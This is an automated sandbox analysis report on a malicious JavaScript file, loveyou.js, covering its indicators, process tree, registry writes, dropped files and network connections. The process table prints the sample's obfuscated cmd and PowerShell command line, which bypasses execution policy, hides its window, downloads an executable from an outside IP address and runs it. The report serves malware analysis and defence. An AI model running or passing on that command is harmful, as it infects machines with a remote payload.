| File name: | loveyou.js |
| Full analysis: | https://app.any.run/tasks/ef9d23ea-fd6c-4040-9aa7-cd44345da9ec |
| Verdict: | Malicious activity |
| Analysis date: | May 15, 2024, 07:43:25 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (16804) |
| MD5: | CE58FE36343AFDBE2B2A36F123ECB9A7 |
| SHA1: | CE17790E9C0D1547F25AA3D30E38B5F17EB9FC8A |
| SHA256: | F3E743C919C1DEAF5108D361C4FF610187606F450FABDA0BEA3786D4063511B1 |
| SSDEEP: | 384:pjJMmz2yY3ZgyUj/H2rx2COKCaPFK/zqUdq9kGjzByFBdXcDYgZNuQTe+l3/o/N7:HMB3OyUTHo2ACaPFKrqUdq9kGjzByF/3 |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 4056)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 4024)
Bypass execution policy to execute commands
- powershell.exe (PID: 4056)
SUSPICIOUS
Reads the Internet Settings
- wscript.exe (PID: 3976)
- powershell.exe (PID: 4056)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 3976)
Probably download files using WebClient
- cmd.exe (PID: 4024)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3976)
Found IP address in command line
- powershell.exe (PID: 4056)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 4024)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 4024)
The Powershell connects to the Internet
- powershell.exe (PID: 4056)
Unusual connection from system programs
- powershell.exe (PID: 4056)
INFO
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 4056)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
35
Monitored processes
3
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3976 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\loveyou.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 4024 | "C:\Windows\System32\cmd.exe" /c hMLWtlbsdHkTjom & Po^wEr^sh^elL.e^Xe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://92.63.197.190/nnn.exe','%temp%erb19.exe'); & %temp%erb19.exe & OWNHgawUJSfreRD | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 4056 | PowErshelL.eXe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://92.63.197.190/nnn.exe','C:\Users\admin\AppData\Local\Temperb19.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
Total events
3 273
Read events
3 265
Write events
8
Delete events
0
Modification events
| (PID) Process: | (3976) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3976) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3976) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3976) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
Executable files
0
Suspicious files
4
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4056 | powershell.exe | C:\Users\admin\AppData\Local\Temp\jp3jisg2.5pj.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 4056 | powershell.exe | C:\Users\admin\AppData\Local\Temp\blplurav.c2p.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 4056 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 4056 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:6675EDE59684F4A119D2E5DA282AFBE6 | SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4056 | powershell.exe | 92.63.197.190:80 | — | OOO SibirInvest | RU | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dns.msftncsi.com |
| shared |